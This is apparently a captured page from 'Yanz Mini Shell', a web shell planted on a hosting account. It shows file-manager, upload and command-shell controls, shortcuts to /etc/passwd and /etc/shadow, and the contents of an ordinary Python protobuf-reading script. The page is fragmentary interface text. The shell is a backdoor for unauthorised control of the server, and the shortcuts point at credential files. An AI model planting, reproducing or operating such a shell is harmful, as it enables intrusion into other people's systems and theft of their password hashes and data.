Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
menop
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
import io import struct import sendmessage_pb2 import subprocess def readDataFromStream(stream_data): proto_size_rd = stream_data.read(2) if len(proto_size_rd)==0: return "" proto_size, = struct.unpack('>H', proto_size_rd) data = stream_data.read(proto_size) item = sendmessage_pb2.SendInfo() item.ParseFromString(data) return item def fillDictionary(): php_dict = {} counter = 0 proc = subprocess.Popen(['dict_util_string'],stdout=subprocess.PIPE) while True: line = proc.stdout.readline() if line != '': if counter>1: res = line.rstrip().split() if len(res)>1: php_dict[res[0]]=res[1].rstrip() else: break counter=counter+1 return php_dict
Free Space : 149718069248 Byte